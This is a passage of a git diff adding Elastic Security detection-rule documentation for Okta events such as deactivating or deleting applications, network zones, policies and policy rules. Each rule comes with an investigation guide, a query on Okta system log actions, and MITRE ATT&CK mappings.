applicable. +- Conduct a review of Okta policies and ensure they are in accordance with security best practices. +- If the deactivated application was crucial for business operations, coordinate with the relevant team to reactivate it and minimize the impact. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:application.lifecycle.deactivate + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-deactivate-an-okta-network-zone.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-deactivate-an-okta-network-zone.asciidoc new file mode 100644 index 0000000000..9496e0e528 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-deactivate-an-okta-network-zone.asciidoc @@ -0,0 +1,126 @@ +[[prebuilt-rule-8-19-21-attempt-to-deactivate-an-okta-network-zone]] +=== Attempt to Deactivate an Okta Network Zone + +Detects attempts to deactivate an Okta network zone. Okta network zones can be configured to limit or restrict access to a network based on IP addresses or geolocations. An adversary may attempt to modify, delete, or deactivate an Okta network zone in order to remove or weaken an organization's security controls. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://help.okta.com/en/prod/Content/Topics/Security/network/network-zones.htm +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Use Case: Network Security Monitoring +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 415 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Attempt to Deactivate an Okta Network Zone* + + +The Okta network zones can be configured to restrict or limit access to a network based on IP addresses or geolocations. Deactivating a network zone in Okta may remove or weaken the security controls of an organization, which might be an indicator of an adversary's attempt to evade defenses. + + +*Possible investigation steps* + + +- Identify the actor related to the alert by reviewing the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, or `okta.actor.display_name` fields. +- Examine the `event.action` field to confirm the deactivation of a network zone. +- Check the `okta.target.id`, `okta.target.type`, `okta.target.alternate_id`, or `okta.target.display_name` to identify the network zone that was deactivated. +- Investigate the `event.time` field to understand when the event happened. +- Review the actor's activities before and after the event to understand the context of this event. + + +*False positive analysis* + + +- Check the `okta.client.user_agent.raw_user_agent` field to understand the device and software used by the actor. If these match the actor's normal behavior, it might be a false positive. +- Check if the actor is a known administrator or part of the IT team who might have a legitimate reason to deactivate a network zone. +- Verify the actor's actions with any known planned changes or maintenance activities. + + +*Response and remediation* + + +- If unauthorized access or actions are confirmed, immediately lock the affected actor account and require a password change. +- Re-enable the deactivated network zone if it was deactivated without authorization. +- Review and update the privileges of the actor who initiated the deactivation. +- Check the security policies and procedures to identify any gaps and update them as necessary. +- Implement additional monitoring and logging of Okta events to improve visibility of user actions. +- Communicate and train the employees about the importance of following proper procedures for modifying network zone settings. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:zone.deactivate + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Trust Modification +** ID: T1484.002 +** Reference URL: https://attack.mitre.org/techniques/T1484/002/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-deactivate-an-okta-policy-rule.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-deactivate-an-okta-policy-rule.asciidoc new file mode 100644 index 0000000000..24e76378be --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-deactivate-an-okta-policy-rule.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-21-attempt-to-deactivate-an-okta-policy-rule]] +=== Attempt to Deactivate an Okta Policy Rule + +Detects attempts to deactivate a rule within an Okta policy. An adversary may attempt to deactivate a rule within an Okta policy in order to remove or weaken an organization's security controls. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://help.okta.com/en/prod/Content/Topics/Security/Security_Policies.htm +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Tactic: Defense Evasion +* Data Source: Okta +* Resources: Investigation Guide + +*Version*: 416 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Attempt to Deactivate an Okta Policy Rule* + + +Identity and Access Management (IAM) systems like Okta serve as the first line of defense for an organization's network, and are often targeted by adversaries. By disabling security rules, adversaries can circumvent multi-factor authentication, access controls, or other protective measures enforced by these policies, enabling unauthorized access, privilege escalation, or other malicious activities. + +This rule detects attempts to deactivate a rule within an Okta policy, which could be indicative of an adversary's attempt to weaken an organization's security controls. A threat actor may do this to remove barriers to their activities or enable future attacks. + + +*Possible investigation steps:* + + +- Identify the actor related to the alert by reviewing `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, or `okta.actor.display_name` fields in the alert. +- Review the `okta.client.user_agent.raw_user_agent` field to understand the device and software used by the actor. +- Examine the `okta.outcome.reason` field for additional context around the deactivation attempt. +- Check the `okta.outcome.result` field to confirm the policy rule deactivation attempt. +- Check if there are multiple policy rule deactivation attempts from the same actor or IP address (`okta.client.ip`). +- Check for successful logins immediately following the policy rule deactivation attempt. +- Verify whether the actor's activity aligns with typical behavior or if any unusual activity took place around the time of the deactivation attempt. + + +*False positive analysis:* + + +- Check if there were issues with the Okta system at the time of the deactivation attempt. This could indicate a system error rather than a genuine threat activity. +- Check the geographical location (`okta.request.ip_chain.geographical_context`) and time of the deactivation attempt. If these match the actor's normal behavior, it might be a false positive. +- Verify the actor's administrative rights to ensure they are correctly configured. + + +*Response and remediation:* + + +- If unauthorized policy rule deactivation is confirmed, initiate the incident response process. +- Immediately lock the affected actor account and require a password change. +- Consider resetting MFA tokens for the actor and require re-enrollment. +- Check if the compromised account was used to access or alter any sensitive data or systems. +- If a specific deactivation technique was used, ensure your systems are patched or configured to prevent such techniques. +- Assess the criticality of affected services and servers. +- Work with your IT team to minimize the impact on users and maintain business continuity. +- If multiple accounts are affected, consider a broader reset or audit of MFA tokens. +- Implement security best practices https://www.okta.com/blog/2019/10/9-admin-best-practices-to-keep-your-org-secure/[outlined] by Okta. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:policy.rule.deactivate + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-deactivate-an-okta-policy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-deactivate-an-okta-policy.asciidoc new file mode 100644 index 0000000000..cecfe34077 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-deactivate-an-okta-policy.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-21-attempt-to-deactivate-an-okta-policy]] +=== Attempt to Deactivate an Okta Policy + +Detects attempts to deactivate an Okta policy. An adversary may attempt to deactivate an Okta policy in order to weaken an organization's security controls. For example, an adversary may attempt to deactivate an Okta multi-factor authentication (MFA) policy in order to weaken the authentication requirements for user accounts. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://help.okta.com/en/prod/Content/Topics/Security/Security_Policies.htm +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 415 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Attempt to Deactivate an Okta Policy* + + +Okta policies define rules to manage user access to resources. Policies such as multi-factor authentication (MFA) are critical for enforcing strong security measures. Deactivation of an Okta policy could potentially weaken the security posture, allowing for unauthorized access or facilitating other malicious activities. + +This rule is designed to detect attempts to deactivate an Okta policy, which could be indicative of an adversary's attempt to weaken an organization's security controls. For example, disabling an MFA policy could lower the security of user authentication processes. + + +*Possible investigation steps:* + + +- Identify the actor related to the alert by reviewing `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, or `okta.actor.display_name` fields in the alert. +- Review the `okta.client.user_agent.raw_user_agent` field to understand the device and software used by the actor. +- Examine the `okta.outcome.reason` field for additional context around the deactivation attempt. +- Check the `okta.outcome.result` field to confirm the policy deactivation attempt. +- Check if there are multiple policy deactivation attempts from the same actor or IP address (`okta.client.ip`). +- Check for successful logins immediately following the policy deactivation attempt. +- Verify whether the actor's activity aligns with typical behavior or if any unusual activity took place around the time of the deactivation attempt. + + +*False positive analysis:* + + +- Check if there were issues with the Okta system at the time of the deactivation attempt. This could indicate a system error rather than a genuine threat activity. +- Check the geographical location (`okta.request.ip_chain.geographical_context`) and time of the deactivation attempt. If these match the actor's normal behavior, it might be a false positive. +- Verify the actor's administrative rights to ensure they are correctly configured. + + +*Response and remediation:* + + +- If unauthorized policy deactivation is confirmed, initiate the incident response process. +- Immediately lock the affected actor account and require a password change. +- Consider resetting MFA tokens for the actor and require re-enrollment. +- Check if the compromised account was used to access or alter any sensitive data or systems. +- If a specific deactivation technique was used, ensure your systems are patched or configured to prevent such techniques. +- Assess the criticality of affected services and servers. +- Work with your IT team to minimize the impact on users and maintain business continuity. +- If multiple accounts are affected, consider a broader reset or audit of MFA tokens. +- Implement security best practices https://www.okta.com/blog/2019/10/9-admin-best-practices-to-keep-your-org-secure/[outlined] by Okta. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:policy.lifecycle.deactivate + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-delete-an-okta-application.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-delete-an-okta-application.asciidoc new file mode 100644 index 0000000000..d60de24e77 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-delete-an-okta-application.asciidoc @@ -0,0 +1,118 @@ +[[prebuilt-rule-8-19-21-attempt-to-delete-an-okta-application]] +=== Attempt to Delete an Okta Application + +Detects attempts to delete an Okta application. An adversary may attempt to modify, deactivate, or delete an Okta application in order to weaken an organization's security controls or disrupt their business operations. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 413 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Attempt to Delete an Okta Application* + + +Okta is a widely used identity management service that helps organizations manage user access to applications securely. Adversaries may target Okta applications to disrupt operations or weaken security by attempting deletions. The detection rule monitors system events for deletion actions, flagging potential threats with a low-risk score, aiding analysts in identifying and mitigating unauthorized attempts. + + +*Possible investigation steps* + + +- Review the event logs for entries with event.dataset:okta.system and event.action:application.lifecycle.delete to confirm the attempted deletion action. +- Identify the user account associated with the deletion attempt and verify their role and permissions within the organization to assess if the action was authorized. +- Check the timestamp of the event to determine if the deletion attempt coincides with any known maintenance windows or authorized changes. +- Investigate the specific Okta application targeted for deletion to understand its importance and potential impact on business operations if it were successfully deleted. +- Examine any recent changes or unusual activities associated with the user account or the targeted application to identify potential indicators of compromise. +- Correlate this event with other security alerts or logs to determine if it is part of a broader attack or isolated incident. + + +*False positive analysis* + + +- Routine maintenance activities by IT staff may trigger the rule when they legitimately delete or modify applications. To manage this, create exceptions for known maintenance periods or specific user accounts responsible for these tasks. +- Automated scripts or tools used for application lifecycle management might generate false positives. Identify these scripts and exclude their actions from triggering alerts by whitelisting their associated user accounts or service accounts. +- Testing environments where applications are frequently created and deleted for development purposes can lead to false positives. Exclude these environments from monitoring or adjust the rule to ignore actions within specific test domains. +- Changes in application configurations by authorized personnel for legitimate business needs may be flagged. Implement a process to log and approve such changes, allowing for easy identification and exclusion from alerts. + + +*Response and remediation* + + +- Immediately isolate the affected Okta application to prevent further unauthorized actions. This can be done by temporarily disabling the application or restricting access to it. +- Review the audit logs and event details associated with the deletion attempt to identify the source of the action, including user accounts and IP addresses involved. +- Revoke access for any compromised or suspicious user accounts identified in the investigation to prevent further unauthorized actions. +- Restore the deleted application from backup if applicable, ensuring that all configurations and settings are intact. +- Notify the security team and relevant stakeholders about the incident, providing details of the attempted deletion and actions taken. +- Conduct a root cause analysis to determine how the unauthorized attempt was made and implement additional security controls to prevent similar incidents in the future. +- Enhance monitoring and alerting for Okta application lifecycle events to ensure rapid detection and response to any future unauthorized modification or deletion attempts. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:application.lifecycle.delete + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-delete-an-okta-network-zone.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-delete-an-okta-network-zone.asciidoc new file mode 100644 index 0000000000..06592ec035 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-delete-an-okta-network-zone.asciidoc @@ -0,0 +1,118 @@ +[[prebuilt-rule-8-19-21-attempt-to-delete-an-okta-network-zone]] +=== Attempt to Delete an Okta Network Zone + +Detects attempts to delete an Okta network zone. Okta network zones can be configured to limit or restrict access to a network based on IP addresses or geolocations. An adversary may attempt to modify, delete, or deactivate an Okta network zone in order to remove or weaken an organization's security controls. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://help.okta.com/en/prod/Content/Topics/Security/network/network-zones.htm +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Use Case: Network Security Monitoring +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 414 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Attempt to Delete an Okta Network Zone* + + +Okta network zones can be configured to limit or restrict access to a network based on IP addresses or geolocations. Deleting a network zone in Okta might remove or weaken the security controls of an organization, which might be an indicator of an adversary's attempt to evade defenses. + + +*Possible investigation steps:* + + +- Identify the actor associated with the alert by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, or `okta.actor.display_name` fields. +- Examine the `event.action` field to confirm the deletion of a network zone. +- Investigate the `okta.target.id`, `okta.target.type`, `okta.target.alternate_id`, or `okta.target.display_name` fields to identify the network zone that was deleted. +- Review the `event.time` field to understand when the event happened. +- Check the actor's activities before and after the event to understand the context of this event. + + +*False positive analysis:* + + +- Verify the `okta.client.user_agent.raw_user_agent` field to understand the device and software used by the actor. If these match the actor's typical behavior, it might be a false positive. +- Check if the actor is a known administrator or a member of the IT team who might have a legitimate reason to delete a network zone. +- Cross-verify the actor's actions with any known planned changes or maintenance activities. + + +*Response and remediation:* + + +- If unauthorized access or actions are confirmed, immediately lock the affected actor's account and require a password change. +- If a network zone was deleted without authorization, create a new network zone with similar settings as the deleted one. +- Review and update the privileges of the actor who initiated the deletion. +- Identify any gaps in the security policies and procedures and update them as necessary. +- Implement additional monitoring and logging of Okta events to improve visibility of user actions. +- Communicate and train the employees about the importance of following proper procedures for modifying network zone settings. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:zone.delete + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-delete-an-okta-policy-rule.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-delete-an-okta-policy-rule.asciidoc new file mode 100644 index 0000000000..578cf134b3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-delete-an-okta-policy-rule.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-21-attempt-to-delete-an-okta-policy-rule]] +=== Attempt to Delete an Okta Policy Rule + +Detects attempts to delete a rule within an Okta policy. An adversary may attempt to delete an Okta policy rule in order to weaken an organization's security controls. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://help.okta.com/en/prod/Content/Topics/Security/Security_Policies.htm +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 415 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Attempt to Delete an Okta Policy Rule* + + +Okta policy rules are integral components of an organization's security controls, as they define how user access to resources is managed. Deletion of a rule within an Okta policy could potentially weaken the organization's security posture, allowing for unauthorized access or facilitating other malicious activities. + +This rule detects attempts to delete an Okta policy rule, which could indicate an adversary's attempt to weaken an organization's security controls. Adversaries may do this to circumvent security measures and enable further malicious activities. + + +*Possible investigation steps:* + + +- Identify the actor related to the alert by reviewing `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, or `okta.actor.display_name` fields in the alert. +- Review the `okta.client.user_agent.raw_user_agent` field to understand the device and software used by the actor. +- Examine the `okta.outcome.reason` field for additional context around the deletion attempt. +- Check the `okta.outcome.result` field to confirm the policy rule deletion attempt. +- Check if there are multiple policy rule deletion attempts from the same actor or IP address (`okta.client.ip`). +- Check for successful logins immediately following the policy rule deletion attempt. +- Verify whether the actor's activity aligns with typical behavior or if any unusual activity took place around the time of the deletion attempt. + + +*False positive analysis:* + + +- Check if there were issues with the Okta system at the time of the deletion attempt. This could indicate a system error rather than a genuine threat activity. +- Check the geographical location (`okta.request.ip_chain.geographical_context`) and time of the deletion attempt. If these match the actor's normal behavior, it might be a false positive. +- Verify the actor's administrative rights to ensure they are correctly configured. + + +*Response and remediation:* + + +- If unauthorized policy rule deletion is confirmed, initiate the incident response process. +- Immediately lock the affected actor account and require a password change. +- Consider resetting MFA tokens for the actor and require re-enrollment. +- Check if the compromised account was used to access or alter any sensitive data or systems. +- If a specific deletion technique was used, ensure your systems are patched or configured to prevent such techniques. +- Assess the criticality of affected services and servers. +- Work with your IT team to minimize the impact on users and maintain business continuity. +- If multiple accounts are affected, consider a broader reset or audit of MFA tokens. +- Implement security best practices https://www.okta.com/blog/2019/10/9-admin-best-practices-to-keep-your-org-secure/[outlined] by Okta. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:policy.rule.delete + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-delete-an-okta-policy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-delete-an-okta-policy.asciidoc new file mode 100644 index 0000000000..8e972ced3d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-delete-an-okta-policy.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-21-attempt-to-delete-an-okta-policy]] +=== Attempt to Delete an Okta Policy + +Detects attempts to delete an Okta policy. An adversary may attempt to delete an Okta policy in order to weaken an organization's security controls. For example, an adversary may attempt to delete an Okta multi-factor authentication (MFA) policy in order to weaken the authentication requirements for user accounts. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://help.okta.com/en/prod/Content/Topics/Security/Security_Policies.htm +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 415 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Attempt to Delete an Okta Policy* + + +Okta policies are critical to managing user access and enforcing security controls within an organization. The deletion of an Okta policy could drastically weaken an organization's security posture by allowing unrestricted access or facilitating other malicious activities. + +This rule detects attempts to delete an Okta policy, which could be indicative of an adversary's attempt to weaken an organization's security controls. Adversaries may do this to bypass security barriers and enable further malicious activities. + + +*Possible investigation steps:* + + +- Identify the actor related to the alert by reviewing `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, or `okta.actor.display_name` fields in the alert. +- Review the `okta.client.user_agent.raw_user_agent` field to understand the device and software used by the actor. +- Examine the `okta.outcome.reason` field for additional context around the deletion attempt. +- Check the `okta.outcome.result` field to confirm the policy deletion attempt. +- Check if there are multiple policy deletion attempts from the same actor or IP address (`okta.client.ip`). +- Check for successful logins immediately following the policy deletion attempt. +- Verify whether the actor's activity aligns with typical behavior or if any unusual activity took place around the time of the deletion attempt. + + +*False positive analysis:* + + +- Check if there were issues with the Okta system at the time of the deletion attempt. This could indicate a system error rather than a genuine threat activity. +- Check the geographical location (`okta.request.ip_chain.geographical_context`) and time of the deletion attempt. If these match the actor's normal behavior, it might be a false positive. +- Verify the actor's administrative rights to ensure they are correctly configured. + + +*Response and remediation:* + + +- If unauthorized policy deletion is confirmed, initiate the incident response process. +- Immediately lock the affected actor account and require a password change. +- Consider resetting MFA tokens for the actor and require re-enrollment. +- Check if the compromised account was used to access or alter any sensitive data or systems. +- If a specific deletion technique was used, ensure your systems are patched or configured to prevent such techniques. +- Assess the criticality of affected services and servers. +- Work with your IT team to minimize the impact on users and maintain business continuity. +- If multiple accounts are affected, consider a broader reset or audit of MFA tokens. +- Implement security best practices https://www.okta.com/blog/2019/10/9-admin-best-practices-to-keep-your-org-secure/[outlined] by Okta. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:policy.lifecycle.delete + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 